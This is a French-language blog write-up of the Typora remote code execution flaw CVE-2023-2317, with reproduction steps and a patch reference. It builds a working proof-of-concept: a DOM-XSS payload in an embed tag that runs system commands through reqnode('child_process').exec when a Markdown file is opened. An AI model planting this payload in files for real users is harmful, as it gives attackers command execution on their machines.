Vulnérabilité d'exécution de code à distance Typora

Déclaration :
 Cet article est uniquement destiné aux échanges techniques. Merci de ne pas l'utiliser à des fins illégales.
Toutes les conséquences et pertes directes ou indirectes causées par la diffusion et l'utilisation des informations fournies dans cet article sont à la charge de l'utilisateur lui-même. L'auteur de l'article n'assume aucune responsabilité à ce sujet.

1. Présentation du produit

Typora est un éditeur Markdown léger développé par Abner Lee. Contrairement à d'autres éditeurs Markdown, Typora n'utilise pas d'affichage sur deux colonnes du code source et de l'aperçu, mais utilise une méthode d'édition WYSIWYG pour y parvenir. Il a la fonction d'aperçu instantané, mais vous pouvez passez également en mode d’édition du code source.

2. Aperçu de la vulnérabilité

Raison : protocole typora

Typora implémente le protocole typora:// en interne, qui peut être utilisé par Typora pour accéder à des fichiers spécifiques.

Il existe une vulnérabilité de sécurité dans les versions antérieures à Typora 1.6.7. La vulnérabilité provient du chargement de code JavaScript dans la fenêtre principale de Typora en chargeant typora://app/typemark/updater/update.html dans la balise.

3. Exploiter les vulnérabilités

par

<script src="typora://app/typemark/lib.asar/MathJax3/es5/input/tex/extensions/xypic.js" charset="UTF-8"></script>

Pour cet accès, par exemple, lib.asar se trouve dans le dossier resources du répertoire d'installation de Typora, et updater.html se trouve sous le fichier updater du répertoire d'installation de Typora. Par conséquent, en utilisant le protocole typora:// pour accéder au updater .html doit être écrit comme ceci :

typora://app/typemark/updater/updater.html?a=xxx&b=xxx&c=xxx

Créer une charge utile

Selon la pensée conventionnelle, nous devrions exiger la bibliothèque child_process puis appeler le paramètre exec, mais la fonction require n'est pas définie dans la typora, mais la fonction reqnode est utilisée à la place :

Par conséquent, la charge utile dans l’environnement Windows peut être écrite comme ceci :

reqnode('child_process').exec("calc")

Package dans la balise svg pour implémenter le chargement de la page :

<svg/onload=top.eval(`reqnode('child_process').exec('calc')`)></svg>

Afin de prendre effet dans les environnements Windows et Linux, nous pouvons écrire la charge utile comme ceci :

<svg/onload=top.eval(`reqnode('child_process').exec(({Win32: 'calc', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])`)></svg>

Enfin, l'encodage URI est effectué sur les paramètres releaseNoteLink et labels. Le POC final est :

<embed src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NhbGMnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">

décodage base64

4. Récurrence des vulnérabilités

Lorsque ce PoC est chargé dans Typora, updater.html est chargé à l'aide d'une charge utile DOM-XSS, qui exécute le code JavaScript sur la fenêtre principale, exécutant les commandes système. Les opérations spécifiques sont les suivantes :

1. Téléchargez et déployez l'environnement de version vulnérable. La version de déploiement ici est

Typora pour Windows 1.5.12 (le package d'installation est disponible sur le disque cloud Baidu ci-dessous)

Lien : https://pan.baidu.com/s/12SMngr3Ks3D_OJ1KO17Zgw?pwd=i13d 
Code d'extraction : i13d

Conseils : Vous devez l'activer après le téléchargement. Si vous souhaitez simplement le reproduire, vous n'avez pas besoin de l'activer.

2. Créez un nouveau fichier md et écrivez le code poc. Notez que le type est html.

<embed src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NhbGMnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">

3. Ouvrez ensuite le fichier et la commande sera exécutée.

Faites apparaître avec succès la calculatrice


4. Tester la vidéo

C'est tellement flou une fois téléchargé sur la plateforme que tout le monde peut y jeter un œil##

Exécution de la commande Typora : CVE-2023-2317

5. Suggestions de réparation

Actuellement, le fabricant a publié un correctif de mise à niveau pour corriger la vulnérabilité. Le lien pour obtenir le correctif est :

https://support.typora.io/What's-New-1.6/https://buaq.net/go-175535.html?utm_source=feedly

Je suppose que tu aimes

Origine blog.csdn.net/qq_56698744/article/details/132755730
conseillé
Classement